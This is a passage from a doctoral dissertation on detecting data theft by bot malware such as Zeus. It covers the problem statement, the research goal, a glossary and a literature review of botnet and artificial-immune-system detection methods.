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The threat of data theft posed by self-propagating, remotely controlled bot malware is
increasing. Cyber criminals are motivated to steal sensitive data, such as user names,
passwords, account numbers, and credit card numbers, because these items can be
parlayed into cash. For anonymity and economy of scale, bot networks have become the
cyber criminal’s weapon of choice. In 2010 a single botnet included over one million
compromised host computers, and one of the largest botnets in 2011 was specifically
designed to harvest financial data from its victims. Unfortunately, current intrusion
detection methods are unable to effectively detect data extraction techniques employed
by bot malware. The research described in this Dissertation Report addresses that
problem. This work builds on a foundation of research regarding artificial immune
systems (AIS) and botnet activity detection. This work is the first to isolate and assess
features derived from human computer interaction in the detection of data theft by bot
malware and is the first to report on a novel use of the HTTP protocol by a contemporary
variant of the Zeus bot.
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Chapter 1
Introduction
Background
The work documented in this Dissertation Report addresses the information security
research problem domain of detecting covert malware network activity. A recent trend
for bot malware is to capture and transmit sensitive information from the infected host to
a remote server while remaining stealthy. This work focused on improving techniques
for detecting such surreptitious data extraction from a compromised host computer. The
techniques included classification methods from the field of machine learning, data from
network communications by an infected host, and data about user interaction on the
infected host. Network packet data was summarized into flow-level summaries, or
netflows, using an open source application designed for that purpose. Actual samples of
network traffic produced by the Zeus bot malware, sometimes referred to as the Zeus
Trojan malware, were analyzed at both the packet level and netflow level, and then
selectively used to train and test the classifiers. Previously unreported network behavior
by the Zeus malware was discovered and documented. Classification results in terms of
true and false positives were captured for multiple classification methods which revealed
the effects of changing independent variables through a sequence of experiments.

Problem Statement
Current computer security and network security methods are unable to detect novel
data exfiltration techniques employed by malicious bot software. Data exfiltration, also
referred to as data extrusion, is the process of extracting sensitive data from a victim’s
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computer without their permission or knowledge. Lee, Wang, and Dagon (2007)
reported that “new approaches are needed for botnet detection and response because
existing security mechanisms, e.g. anti-virus software and intrusion detection systems,
are inadequate” following a 2006 workshop on botnets that was jointly sponsored by the
U.S. Department of Homeland Security (DHS), Defense Advanced Research Projects
Agency (DARPA), and Army Research Office (ARO). These authors pointed out that
current methods do not adapt to the rapid and continuous changes made by the bot
malware developers. More recent research by Jacob, Hund, Kruegel, and Holz (2011)
and Zhang, Luo, Perdisci, Gu, Lee, and Feamster (2011) provides strong evidence that
malicious botnet activity detection using network data analysis techniques, foremost
among methods, has only become more difficult since that time. This difficulty stems
from the use of encryption, polymorphism, and other obfuscation techniques that mask
various aspects of the network communications.
The nature of the problem is that malware writers continue to develop innovative
methods to achieve their malicious objectives by countering and avoiding measures
designed to prevent their success. Blacklist-based and signature-based approaches are
unable to keep up with the network fluxing techniques (Zhang, Yu, Wu, & Watters,
2011) and polymorphism (Porras, Saidi, & Yegneswaran, 2009) of modern botnets such
as Zeus, Torpig, and Conficker. One of the polymorphic features of Conficker that
challenges network analysis, for example, is the daily computation of new domains to
link with new relay points supporting command and control and data exfiltration (Porras,
Saidi, & Yegneswaran, 2009). Developers of methods to defeat malware are thus faced
with an ever-evolving threat, one that learns about each signature-based and anomaly-
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based countermeasure and adapts to circumvent it. Lee, Wang, and Dagon (2007)
referred to this contest as an “arms race.” In many respects, this situation is akin to the
competitive behavior of biological systems in nature. The human immune system is of
particular interest in this case. The human immune system tries to protect its host from
invading pathogens by identifying them as threats and eliminating them before they can
cause harm. For their part, the pathogens change (mutate) in response to these defenses
and try again. Given these parallels, immunology has inspired the development of a
number of computer and network security techniques in recent years. A summary of
these approaches will be provided in Chapter 2.
This research problem presents more than a purely physical or numerical modeling
and analysis challenge because of the human element. In other words, a person can
dynamically control and change the behavior of the bot malware in response to, or in
anticipation of, measures taken to detect it or to prevent it from operating. Nonetheless,
certain aspects of the data exfiltration problem can be considered invariant - they must
happen. First, the attacker must introduce the malware onto the target host from some
source. Second, the malware must capture the data of interest. Third, and finally, the
malware must move the data off the target host to some destination. In spite of efforts to
prevent bot malware from invading host computers, it is very likely to continue. That a
single botnet, Rustock, comprised over one million compromised hosts in 2010 serves as
evidence to support this claim, as does the fact that the botnets Grum and Cutwail had
hundreds of thousands of bots each (Symantec, 2011). The information security firm
McAfee reported a significant increase in botnet growth during the fourth quarter of
2011, with monthly infections approaching 3.5 million hosts (McAfee, 2012). This work
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began with a bot-infected host and addressed the data exfiltration aspect of this problem.
This focus differentiates this work from methods that concentrate on the infection aspect.

Dissertation Goal
The goal of this work was to reveal techniques for improving detection of data theft
from a computer host by bot malware. The innovative approach in this work was to
leverage knowledge about user interaction with the infected computer, for example,
running software applications and browsing the Internet. This approach tests the
assumption that network activity not directly caused by user interaction is more likely to
be the result of malware. This approach was also designed to accommodate legitimate
variations and changes over time to the host computer’s configuration and network usage.
In creating the network data, the host computer operating system was updated, software
applications were added, data files were added and removed, and user patterns were
changed. Experimentation consisted of comparing the performance of two classifiers in
terms of true and false positives across a range of controlled conditions, first without the
user interaction feature added, then with this feature added. The other controlled
variables included the following: number of benign instances (netflows), number of Zeus
instances (also netflows), number of features, type of features (numeric and nominal),
type of Zeus instance, size of training and testing data subsets, and ratio of Zeus instances
in training and testing subsets. This comparison required an environment where the
malware activities were known, therefore known bot malware activity was integrated
with benign network trace data. Observable parameters included a subset of those
features of a TCP connection that the Argus software creates to describe a netflow. An
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analysis of that feature creation and selection process is provided in a later section.
Benign network traffic was generated on an isolated test network. Malicious network
traffic was injected from samples of actual Zeus bot activity captured in the wild. A
complete analysis of the Zeus network traffic samples is provided in Appendix A.

Relevance and Significance
Protecting inter-networked computing devices from data theft is a significant problem
because 1) the foundational layers of the Internet, Internet Protocol (IP) and Transmission
Control Protocol (TCP), were designed and implemented without security mechanisms,
and 2) the motivations for stealing data are strong (Cooke, Jahanian, & McPherson,
2005). Moreover, the complexity of modern data processing and networking by a given
computing device has increased well beyond a human’s ability to comprehend all that’s
happening in real-time (Nunnery, 2011). Anyone who uses a personal computer on the
Internet to interact with sensitive data is therefore at risk. As such, this problem affects a
large and growing percentage of the world’s population (Kountz, 2009; Sumner, 2010).
Malware was used for the majority of data theft in 2011, whereas physical attacks
were a distant second (Verizon, 2012). Furthermore, external entities, as opposed to
insiders, were responsible in most cases (Verizon, 2012). Botnets are one of the primary
vectors for external attackers to inject the malware necessary to capture and exfiltrate
sensitive data (Riccardi et al., 2013; Shin et al., 2011).
While not openly attributed to bot malware, the impact of data theft can be seen
through the following high profile examples. In January 2012, the online retailer
Zappos.com reported the theft of personal information regarding 24 million of their
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customers (Sullivan, 2012). The cost and impact of that breach remains to be
determined. In April 2011, Sony Corporation reported the theft of personal information,
to include logins, passwords, and security questions for 77 million users and was forced
to temporarily shut down its PlayStation Network (Baker & Finkle, 2011). In early May
2011, Sony revealed that an earlier breach exposed the personal information of 25 million
more customers of its Sony Online Entertainment network (Arthur, 2011). By late May
2011, Sony estimated that it had spent $171 million related to these data breaches
(Dignan, 2011). This amount is well below the average $214 cost per stolen record in
2010, however, as reported by the Ponemon Institute (2011) in their 2010 Annual Study:
U.S. Cost of a Data Breach. These examples highlight the most tangible impact of this
problem, financial loss, in this case the cost incurred by companies in response to data
breaches. The Ponemon Institute’s report also highlights how much this data theft
problem has grown, at least at the corporate level. One of the study’s top findings
underscores this point: “For the first time [2010], malicious or criminal attacks are the
most expensive cause of data breaches and not the least common one.”
The extent of the networked computer data theft problem at the individual level is
more difficult to quantify. This is due in part to the fact that while the results can be
recognized, such as identity fraud or email spamming, the actual theft often cannot.
However, some percentage of identity fraud, the unauthorized use of another person’s
credentials for monetary gain, is very likely due to personal information theft by bot
malware (Symantec, 2011). According to a Javelin Strategy & Research report (2011), in
2010 over eight million people were victims of identity fraud in the United States. Even
a small percentage of that total rates as a significant problem. The Computer Intrusion
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Section of the Federal Bureau of Investigation (FBI) in the United States recognizes this
as a pervasive problem and considers it one of their top priorities. On their web site, the
Computer Intrusion Section claims “specially trained cyber squads at FBI headquarters
and in each of our 56 field offices, staffed with agents and analysts who protect against
and investigate computer intrusions, theft of intellectual property and personal
information” among other dedicated resources. The Internet Crime Complaint Center
(IC3), sponsored in part by the FBI, publishes a report on Internet crime each year.

In

its 2010 Internet Crime Report, the center reported receiving approximately 25,000
complaints per month in 2010, with identity theft among the most common complaints.
Private security firms track computer and network security incidents very closely, and
on a global scale. Botnets, collections of compromised hosts that are remotely controlled
over the Internet, continue to evolve and pose a significant threat due to the sheer number
of co-opted computers. In its annual threat report, Symantec Corporation identified
Rustock as the largest botnet observed in 2010 with over one million bots (Symantec,
2011). The Symantec team also identified Grum and Cutwail as very large botnets that
year with hundreds of thousands of bots each. McAfee provided a similar assessment in
its quarterly report, indicating that Rustock surpassed Cutwail in botnet activity in the
fourth quarter of 2010, and listing Bobax, Grum, Lethic, and Maazben among the other
most active botnets around the world (McAfee, 2011).
Symantec discussed five leading trends in its annual threat report for 2010 (Symantec,
2011): targeted attacks, social networks, attack toolkits, rootkits, and mobile threats.
Targeted attacks increased in sophistication and grew in number. The Stuxnet worm
garnered significant attention, not only from the media because of its goal of sabotaging
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centrifuges at an Iranian uranium enrichment facility, but also from the cyber security
community because of its sophistication. Among other advanced features, Stuxnet
employed four zero-day vulnerability exploits, an unprecedented number. Zero-day
vulnerabilities are vulnerabilities that have never before been identified, and are thus not
likely to be protected against with current security measures. Spear phishing, targeting
specific individuals using inside knowledge about them, benefitted from the increased
popularity of social networking sites. These sites make it very easy for an attacker to
learn enough personal information about an individual to masquerade as a friend or
colleague and convince them to click on an embedded link or open an attachment. The
number of daily web-based attacks almost doubled in 2010, due in large part to the
proliferation of attack toolkits (Symantec, 2011). Rootkits continue to pose a serious
threat, with variants that modify the master boot record on Windows operating systems
being the most prevalent in 2010 (Symantec, 2011). A rootkit manipulates the operating
system in order to prevent detection of the malware and its activity. The longer a rootkit
can extend the duration of the compromise, the more opportunities the malware has for
information theft. The common theme across all these trends, with the notable exception
of Stuxnet, is the attacker’s motive of financial gain. Use these attack vectors to steal
information in order to steal money. As mobile computing devices proliferate, the efforts
to compromise them will increase.
Examining the propagation methods of malware in general, and bot software in
particular, was not the focus of this work. However, understanding those methods, their
trends, and the underlying motives of their perpetrators serves to make a fundamental
point: computing devices will continue to be compromised by malware into the
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foreseeable future. Moreover, the trends toward stealth, remote control, and data theft for
financial gain clearly indicate that more sophisticated countermeasures will be needed
(Shin, Gu, Reddy, & Lee, 2011; Zhang, Luo, Perdisci, Gu, Lee, & Feamster, 2011).
Government agencies, private industry, security firms, and the research community
have been focusing resources on solutions to this growing problem, and a number of
approaches have been taken at multiple levels. One approach is to modify the
infrastructure of the Internet to make it more secure. Internet Protocol Security, or IPsec,
and DNS Security Extensions, or DNSSEC, are two examples of such changes. The
former provides for authentication and encryption at the network layer. The latter adds
new resource record types to the Domain name System to protect it against common
threats. Such changes take time to implement on a global scale and are likely to decrease
but not eliminate the problem.

Barriers and Issues
Information security is inherently difficult due to the complexity of the computer and
network systems involved. Defending complex systems against attack is made even
more difficult by the dynamics and unpredictability of the human element. After all,
humans provide the real ingenuity behind the attacks. Detecting malicious bot activity on
a compromised host or network is particularly challenging because of these factors. The
number and diversity of approaches to solving this problem, as previously discussed,
bears testament to that fact. The notion of a Computer Immune System modeled on the
Human Immune System has a very strong appeal given the desire for robustness,
efficiency, and adaptivity through properties such as decentralized control, distributed
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processing, self-organization, self-regulation, specificity and diversity, self-reparation,
learning, and evolution. In spite of this attraction and considerable research effort, the
development of a computer immune system with more than a few rudimentary facsimiles
of human immune system capabilities has proven to be very difficult.
Researchers have made progress toward a computer immune system, but it has taken
many years. Initial efforts showed that static data then basic operating system processes
could be protected with artificial immune system (AIS) methods (Dasgupta & Forrest,
1995, 1996; Forrest, Hofmeyr, & Somayaji, 1997; Forrest, Perelson, Allen, & Cherukuri,
1994). Later efforts showed that some basic network traffic could also be protected and
that incorporating danger signal and dendritic cell metaphors could improve efficiency
(de Castro & Von Zuben, 2000, 2001, 2002; Greensmith, Aickelin, & Cayzer, 2005;
Timmis, 2000; Timmis & Neal 2001). At each step, however, the methods revealed
limitations worthy of additional research. In all cases, the selection of features and
fitness functions left room for improvement. One reason why these features are so
difficult to determine is because the networked computer system was not designed to
collaborate with an AIS. Signals and responses between the two were not negotiated or
coordinated in advance as is the case with natural immune systems.
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Definition of Terms
activation function

An activation function bounds the output of a weighted sum
between two values; also known as a “squashing” function;
commonly used with artificial neurons.

adaptive immunity

In immunology, the adaptive immune system learns about new
types of foreign antigens in order to respond to them more quickly
in the future.

artificial immune
system

In computer science, software that has properties similar to a
biological immune system. An artificial immune system or AIS is
typically employed to detect foreign data structures or processes.

ARTIS

Artificial Immune System - as initially coined by Hofmeyr and
Forrest (2000) to represent a general artificial immune system.
AIS later became the more common acronym.

antibody

In immunology, antibodies are created as an immune response to
antigens in order to find and neutralize them.

antigen

In immunology, antigens are foreign substances (pathogens) that
induce an immune response.

auto-reactivity

In immunology, auto-reactivity occurs when antibodies react to
the host cells as if they were foreign antigens.

basis function

In machine learning, a basis function replaces feature values with
measures of similarity

bot

A bot is remotely controlled malware; it’s name was originally
derived from robot.

botmaster

A botmaster or botherder controls the bots in a bot network.

botnet

A botnet is a network of bot infected computers.

Danger Theory

In immunology, Danger Theory suggests that signals from
unnatural cell death (necrosis) direct adaptive immune responses.

domain generation
algorithm

A mechanism used by certain malware to automatically generate
pseudorandom domain names. Often referred to as DGA in the
literature.

dendritic cells

In immunology, dendritic cells sample the environment and
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present antigens to other components of the immune system.
dot product

In linear algebra, the dot product or inner product of two vectors is
the sum of the products of their corresponding elements.

entity

In the HTTP Protocol, the entity is the payload and it consists of
entity-header fields and optionally an entity-body.

epitope

In immunology, epitopes form recognizable patterns in antigens.

Euclidean distance

Euclidean distance is the length of a straight line connecting two
points.

fast-flux

Fast-flux is a technique for rapidly changing the domain name to
IP address mapping, typically used to prevent tracing a malicious
server.

fcapture

fcapture is a network flow capture tool.

FIN

In the Transmission Control Protocol (TCP) header, the FIN
(finish) flag is used to indicate no further data from the sender.

finite state machine

A finite state machine can be a logical depiction of the set of states
and transitions of a process, or an actual device with a fixed
number of states and triggers that cause it to transition from one
state to another.

GET

In the HTTP protocol, GET is a method. The GET method is used
to retrieve a requested resource.

Hamming distance

Hamming distance measures the difference between two strings in
terms of the number of positions with different symbols.

honeynet

A honeynet is a network of devices for attracting and capturing
malware.

honeypot

A honeypot is a device for attracting and capturing malware.
Honeypots are commonly used by information security
researchers.

intrusion detection
system

In computer science, software to detect activity on a host or
network by unauthorized, external entitites. Commonly referred
to as IDS in the literature.

intrusion prevention
system

In computer science, software to prevent access to a host or
network by unauthorized, external entities. Intrusion prevention
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system software can be combined with intrusion detection system
software. Often referred to as IPS in the literature.
innate immunity

In immunology, the innate immune system has knowledge of
certain foreign antigens and can respond very quickly to their
presence.

J48

J48 is a Java implementation of the C4.5 classifier.

JOIN

In the Internet Relay Chat (IRC) protocol, the JOIN command is
used to connect to a named channel.

k-means

In machine learning, k-means is a clustering technique where the
user specifies the number of clusters, the value of k.

key-logging

Key-logging is a process designed for recording keystrokes.
Key-logging software is commonly used by attackers to steal
passwords and other sensitive data.

LISYS

Lightweight Intrusion Detection System - coined by Hofmeyr and
Forrest (2000) as their proposed AIS-based network intrusion
detection system.

lpr

lpr is a UNIX command for printing.

machine learning

Machine learning is a branch of computer science concerned with
reproducing human learning using computer algorithms.

Mahalanobis

The Mahalanobis distance is a similarity measure which considers
correlations in the data.

MODE

In the Internet Relay Chat (IRC) protocol, the MODE command is
used to change the mode of usernames and channels.

multivariate

In feature selection, multivariate methods consider subsets of
features together.

n-gram

An n-gram is a continuous sequence of a number (n) of symbols.

ngrep

ngrep is a utility for matching patterns (grep) in network packet
payloads.

negative selection

In immunology, negative selection is the process of keeping only
antibodies that don’t react to the host.

netflow

A summary record describing a network connection.
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NICK

In the Internet Relay Chat (IRC) protocol, the NICK command is
used to assign the user a nickname.

observation

In machine learning, an observation refers to one input feature
vector and is often referred to as an example, a data point, or a
pattern.

octet

An octet is an 8-bit sequence of data.

overfitting

In machine learning, overfitting occurs when the classifier is fitted
so specifically to the training dataset that it doesn’t generalize to
unseen data.

pathogen

Disease causing foreign microorganism such as virus or bacteria.

P2P

Peer-to-peer. A network in which each node can serve as both
server and client.

PAMP

In immunology, PAMP refers to Pathogen-Associated Molecular
Pattern.

PING

In the Internet Relay Chat (IRC) protocol, the PING command is
used to detect whether a distant client is active.

PONG

In the Internet Relay Chat (IRC) protocol, the PONG command is
used to respond to the initiating PING command.

POST

In the HTTP protocol, POST is a method. The POST method is
used to submit an entity for acceptance by a server.

principal component A dimensionality reduction technique by which an input vector is
analysis
transformed into an uncorrelated set of features ordered by
variance, thus the first features convey most information. Often
referred to as PCA in the literature.
QUIT

In the Internet Relay Chat (IRC) protocol, the QUIT command is
used to terminate a client session.

r contiguous bits

Refers to the number of contiguous bits to be identically matched,
e.g. the same bits in the same positions for two bit patterns.

resource

In the HTTP protocol, a resource can be a data object or service on
the network.

RST

In the Transmission Control Protocol (TCP) header, the RST
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(reset) flag is designed to allow a host to abort the connection.
sensitivity

In a classification function, sensitivity measures the proportion of
true positives.

SPAN

Switched Port Analyzer. A technique for mirroring network
traffic from one port to another for monitoring purposes.

specificity

In a classification function, specificity measures the proportion of
true negatives.

SYN

In the Transmission Control Protocol (TCP) header, the SYN
(synchronize) flag is used to initiate a connection.

token

In the HTTP protocol, a token is a sequence of characters between
delimiters that conveys a value.

tolerization

In an immunology, tolerization is the process by which
lymphocytes learn to become tolerant of self and bind only to
non-self structures.

time to live

Internet Protocol (IP) includes a time to live (TTL) field in the
header. TTL is used to remove undeliverable datagrams from the
network.

univariate

In feature selection, univariate methods consider one variable at a
time.

USERS

In the Internet Relay Chat (IRC) protocol, the USERS command is
used to determine which users are logged into an IRC server.

vaccine

In immunology, a vaccine is a substance resembling an active
pathogen that is used to train the immune system to recognize and
neutralize it in the future.

x-means

In machine learning, an x-means clustering algorithm is equivalent
to running k-means clustering multiple times to learn the value of
k (number of clusters).
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Summary
This Dissertation Report addresses the problem of detecting malware attempts to
exfiltrate sensitive data from a networked computer. This chapter provided an
introduction to this research problem and to the innovative approach to solving the
problem represented by this work. Context was provided in order to highlight the
relevance and significance of this problem, namely that the fundamental communication
structure of the Internet makes detecting data theft a difficult problem to solve and that
the motivation of thieves makes it a persistent and growing problem. The concept of an
artificial immune system for a computer, modeled after a biological immune system, was
also introduced as one of approaches to detecting malware activity on an infected host.
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Chapter 2
Review of the Literature

Overview
This chapter provides a review of research associated with bot malware detection and
with the application of artificial immune systems (AIS) and related anomaly detection
methods to information security. The choice of papers selected for this review was based
on the similarity of the associated research problems and the diversity in their choice of
detection methods and feature selection processes. The research discussed in this chapter
begins with some general concepts regarding malware that has been designed to steal
data, then proceeds with methods for detection of bot malware activity. The bot malware
portion steps through the evolution of bot malware and describes the corresponding
detection approaches at various stages in this evolution. The literature review continues
with a discussion of artificial immune systems applied to computer and network security.
This section focuses on AIS-based methods for virus detection and intrusion detection,
and is arranged both chronologically and topically. The discussion of artificial immune
systems culminates with research dedicated to bot malware detection.

Malware for Data Theft
One of the more striking trends in the evolution of malware was the move away from
techniques designed to overtly damage resources toward techniques designed to covertly
steal resources. Rootkits and Banking Trojans serve as illustrative examples of malware
designed for stealth and data theft. Rootkits provide root level access to the attacker
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which not only enables the attacker to manipulate any data on the host, but also to
remove the evidence. The designation “root kit” first appeared in the information
security literature during the 1990s, but it wasn’t until the early 2000s that rootkits began
attracting broader attention from researchers. Boulanger (1998) describes how an
attacker uses the ‘root kit’ package to ‘patch’ processes on the target system in order to
ensure “continued, unlogged, and undetected access” to the compromised host. The
paper by Levine, Grizzard, Hutto, and Owen (2004) was the first to use the term “rootkit”
(one word) in the title of any ACM or IEEE Computer Society publication. The authors
describe kernel level rootkits and approaches to detecting their presence, namely using
signature analysis techniques that compare a known clean system’s files and directories
with the current system’s. Banking Trojans are malware designed specifically to gain
access to a victim’s banking credentials and accounts. Banking Trojans can employ a
variety of methods, such as keylogging and screen captures, to achieve their goals. They
also commonly use web injection methods to dupe the victim into providing additional
information into what appears to be the bank’s online form. The designation “banking
trojan” did not appear in the information security literature until the mid-2000s. The U.S.
Army Training and Doctrine Command issued a report in August of 2006 titled “Critical
Infrastructure Threats and Terrorism” which identified banking Trojans as a threat to the
banking infrastructure. Stahlberg (2007) applied for a U.S. Patent in June of 2007 on a
method for detecting banking Trojans specifically. This method essentially checked
system memory for Universal Resource Locators (URL) from known banking sites to
detect when a banking Trojan was active and required that a current list of banking sites
be maintained. Goring, Rabaiotti, and Jones (2007) demonstrated how anti-keylogging
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methods designed to prevent banking Trojans from logging keystrokes on certain banking
web sites could be bypassed if not properly configured. The book “Botnets: The Killer
Web Applications” (Schiller & Binkley, 2007) provided examples of banking Trojans
used by botnets.

Bot Malware Concepts and Trends
Researchers have taken a number of approaches to the problem of detecting bot
malware activity. In general, researchers have attempted a variety of methods for
modeling bot activity and using classifiers to differentiate bot activity from normal
activity. Modeling the activity is based on a number of observable static or dynamic
features. Examples include the volume of communications between the bot and the
botmaster, the command data strings associated with Internet Relay Chat (IRC) botnet
command and control, the nicknaming conventions used by IRC botnet command and
control, or the sequence of events related to infection by bot malware. These approaches
typically use a supervised learning approach where known bot activity provides a labeled
training set for the chosen classifier. Unsupervised learning techniques have also been
employed by researchers. These typically consist of clustering techniques where the
same type of features such as Internet Relay Chat (IRC) communications are clustered
based on a similarity metric. Features derived from the Domain Name System (DNS)
lookup process have also been used in clustering techniques.
Remotely controlled (bot) malware has become very popular as a mechanism for
cyber criminals to achieve anonymity and economy of scale. Spam email campaigns,
click fraud, malware propagation, and distributed denial of service (DDoS) attacks are
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among the better-known activities where botnets have proven their effectiveness (Gu,
2008; Nunnery, 2011; Shin, Xu, & Gu, 2012). Key-logging, screen capturing, file
scanning, and associated data theft are perhaps lesser-known, but also made possible and
attractive when conducted on a large number of compromised hosts (Binsalleeh,
Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, & Wang, 2010; Grégio, Fernandes,
Afonso, de Geus, Martins, & Jino, 2013; Mohaisen & Alrawi, 2013; Riccardi, Di Pietro,
Palanques, & Vila, 2013; Stone-Gross et al., 2009). Strayer, Lapsely, Walsh, and
Livadas (2007) claimed it was for both their “brute-force” and “subtle” attack capabilities
that botnets were so dangerous. The economy of scale concept has important
implications for bot malware and bot networks. First of all, size matters. The larger the
number of compromised hosts, the more powerful the botnet will be. Thus, propagating
itself and infecting more hosts is an important function of bot malware. Bot command
and control communications are also necessary to achieve economy of scale. For spam
campaigns and distributed denial of service attacks in particular, the botmaster must be
able to synchronize the effort. This orchestration requires a timely, if not synchronous,
command and control mechanism. For key-logging, screen capturing, and other data
theft, the communications need not be synchronous.
Given that bots must self-propagate, receive commands, and transmit responses or
collected data in order to achieve economy of scale, several detection approaches based
on activity modeling have been investigated. The research challenge is to understand and
model the bot activity in sufficient detail to distinguish it from normal activity that
otherwise looks very similar (Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef,
Debbabi, & Wang, 2010; Gu, 2008; Grégio, Fernandes, Afonso, de Geus, Martins, &
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Jino, 2013; Haq, Ahmed, & Syed, 2014; Mohaisen & Alrawi, 2013; Riccardi, Di Pietro,
Palanques, & Vila, 2013; Rieck, 2011; Shin, Xu, & Gu, 2012). While not often stated
explicitly by the researchers, signal detection theory, discerning signals from noise,
serves as one of the theoretical foundations for these detection approaches. Machine
learning theory, alternatively known as computational learning theory, serves as another
theoretical basis for many of the detection methods employed by bot researchers.
Machine learning approaches applied to bot detection include Bayesian belief networks,
support vector machines, artificial neural networks, evolutionary algorithms, and other
statistical and biologically-inspired algorithms.
Many researchers recognized that in order for a botnet to achieve economy of scale,
the same or very similar communications would have to occur between a controller and a
large number of bots. Early botnets used Internet Relay Chat (IRC) for their synchronous
command and control. Binkley and Singh (2006) looked for IRC hosts sending unusually
high numbers of SYN, FIN, and RST packets to detect bots. Their detection approach
was limited to IRC bots and assumed these bots had a higher “work weight” than human
participants in a chat channel where work weight was calculated as a percent of SYNs,
FINs, and RSTs from the total number of TCP packets. They monitored these packets as
well as the number of Source IP Addresses, Joins, Pings, Pongs, and PrivMsgs to identify
potential IRC channels with bot activity. They calculated work weight every 30 seconds
and generated hourly reports thresholding the number of hosts and work weight. They
found that this statistical approach could “easily reveal bot servers” and decided it should
also include spam and denial of service attack indicators. Although the researchers called
this an anomaly-based approach, from a machine learning perspective it resembles a two-
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class classifier using the difference between two distributions (e.g. mean and standard
deviation) as a threshold. The constructed feature called work weight, the number of
control packets per total packets, formed the distributions. This appears to be a semisupervised approach with routine human expert validation though the researchers did not
report on training or validation in this context.
Livadas, Walsh, Lapsley, and Strayer (2006) used archive network traces and captured
their own network traffic to compare the ability of three classifiers to distinguish between
IRC and non-IRC traffic, and between botnet IRC traffic and non-botnet IRC traffic.
They extracted features describing the TCP network sessions heuristically in order to
reduce computational intensity. They chose J48, Naive Bayes, and Bayesian network
classifiers from the WEKA workbench and tested them against both real and synthetic
trace data. The real data came from Dartmouth University’s repository and was
anonymized. They generated synthetic data on a testbed network which they managed
and used to run an instance of the Kaiten botnet. This team used the botnet traces only
for testing the trained classifiers. They evaluated the classifiers based on false positive
and false negative rates and determined that the naive Bayes classifiers performed best at
distinguishing between IRC and non-IRC traffic. With respect to distinguishing between
botnet IRC traffic from benign IRC traffic, they reported that only the naive Bayes
classifiers succeeded and that they suspected overfitting of the J48 and Bayesian network
classifiers to the training set was responsible for the poor performance of those
classifiers. This team described their work in machine learning terms. During the first
phase they employed a supervised learning approach with labeled data to train multi-class
classifiers. The second phase represented a one-class classification problem where they

23

did not train the classifiers further with labeled data for the botnet activity. These
researchers selected and constructed features heuristically based on domain knowledge
but did not report evaluating features independently of the classifiers.
Goebel and Holz (2007) used IRC command strings to isolate IRC traffic and then
used nickname similarity scoring to identify bots from among the IRC participants. They
used ngrep to find the following IRC strings: JOIN, NICK, MODE, USER, and QUIT.
Once an IRC channel was identified, its nicknames were scored for similarity. More
similar names were deemed more likely to be bots than human chat participants. They
based this assumption on prior knowledge of bot nicknaming conventions which often
included some combination of malware name, country abbreviation, operating system,
special characters, or many digits. They tested their approach with real network trace
data from a SPAN port on a university router. While achieving some success against
older bots, this team determined that their approach could be defeated by a botnet that
utilized a large pool of unique nicknames, such as Zapchast. They also recognized that
many botnets were moving from IRC to HTTP for command and control and that more
sophisticated methods would be required. From a machine learning perspective this
approach, named Rishi, resembles a two-class classifier using the difference between two
distributions as a threshold. The extracted features, sub-strings (n-grams) of the IRC
nickname, were used to form the distributions. This was a semi-supervised approach
with human expert validation when the scoring threshold was met.
Karasaridis, Rexroad, and Hoeflin (2007) looked for similar nicknames and for pong
response messages from bots awaiting commands to identify candidates, then they
monitored the traffic from those hosts for scanning and spamming behaviors. They also
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used network flow summaries to reduce computational intensity and to provide some
level of anonymity. Their approach modeled normal IRC traffic and computed a
Euclidean distance between observed traffic and normal traffic. They tested with real
data from a Tier 1 Internet Service Provider (ISP) and reported discovering one million
new bots per month. They found botnets to be very dynamic, staying with the same
botnet controller for only 2-3 days. This research team described both their bot detection
and bot characterization approaches in common machine learning terms. For bot
detection they trained a two-class linear classifier with labeled data, a supervised learning
approach. Constructed features, the aggregate flows per address, packets per flow, and
bytes per packets, were heuristically chosen. They used Euclidean distance for their
similarity test. Their bot characterization approach also uses a multi-class linear
classifier and Euclidean distance metric for similarity, but based on a different set of
heuristically derived features.
Other researchers investigated the infection and propagation related network traffic.
Gu, Porras, Yegneswaran, Fong, and Lee (2007) modeled the bot infection sequence as a
series of dialog flows between internal and external network assets. They used the
Snort® open source IDS with network flow data and added their statistical anomaly
detection components. Their infection model consisted of five steps: 1) external to
internal inbound scan, 2) external to internal inbound exploit, 3) internal to external
binary acquisition, 4) internal to external command and control (C&C) communication,
and 5) internal to external outbound infection scanning. Their approach assumed that the
order of transactions could change and that some transactions may not be observed. This
team captured bots with a honeynet then created a testbed network to experiment with
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them. They tested their approach with real data from a university egress border switch
and found that it could reliably observe inbound exploits and binary acquisitions, and
therefore support overall bot detection. From a machine learning perspective, the two
anomaly detection methods described here could be either one-class or multi-class
classifiers. They used supervised learning but it was not clear from the description
whether just benign data was labeled for training or whether malicious data was also.
The SCADE component, their Statistical Scan Anomaly Detection Engine, performed
weighted scoring with a given threshold, followed by a voting scheme. The SLADE
component, their Statistical Payload Anomaly Detection Engine, tested the
(Mahalanobis) distance between the byte distribution of a new observation (packet) and a
previously determined normal distribution for that particular protocol (e.g. HTTP), based
on the work of Wang and Stolfo (2004). Features were chosen heuristically based on
domain knowledge.
As botnet command and control evolved away from IRC toward HTTP and P2P
protocols, the corresponding research efforts shifted to more general models of bot
behavior. Gu, Perdisci, Zhang, and Lee (2008) used clustering techniques to find and
cross-correlate command and control communications and malicious activity. Their
method used network flows captured using the fcapture tool and removed all but TCP
and UDP flows. C&C communications were clustered in one “plane” and malicious
activity in another, then the two were cross-correlated using a hierarchical clustering
algorithm. Their technique assumed that bots will communicate with C&C servers or
peers, perform malicious activity, and that they will do both in a similar fashion to one
another. The team reported a high detection rate and low false positive rate against real-
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world traces of IRC, HTTP, and P2P-based botnet traffic. Detection rates in the literature
are often given in these subjective terms; however, a high detection rate typically refers
to a true positive rate in excess of 90% and a low false alarm or false positive rate refers
to one less than 10%. From a machine learning perspective, this team employed an
unsupervised learning approach in their clustering algorithms. The input to the clustering
algorithm for communication flows was a vector which included heuristically constructed
features: flows per hour, packets per flow, average bytes per packet, and average bytes
per second. They converted these continuous variables into discrete values for clustering
in two stages with an x-means clustering algorithm. They performed dimensionality
reduction for the first phase of clustering by computing the mean and variance of these
four features, thus using eight values as opposed to the full set from the 52 available
features. For the second phase, they used the full feature set but only clustered within
those clusters produced by the first phase. The input to their clustering algorithm for
activity came from Snort® logs as categorical data. They used a two-level hierarchical
clustering algorithm for this data and then cross correlated the results of the two
clustering methods.
Yen and Reiter (2008) applied Principal Component Analysis (PCA) for
dimensionality reduction and k-means for clustering of network flows exhibiting
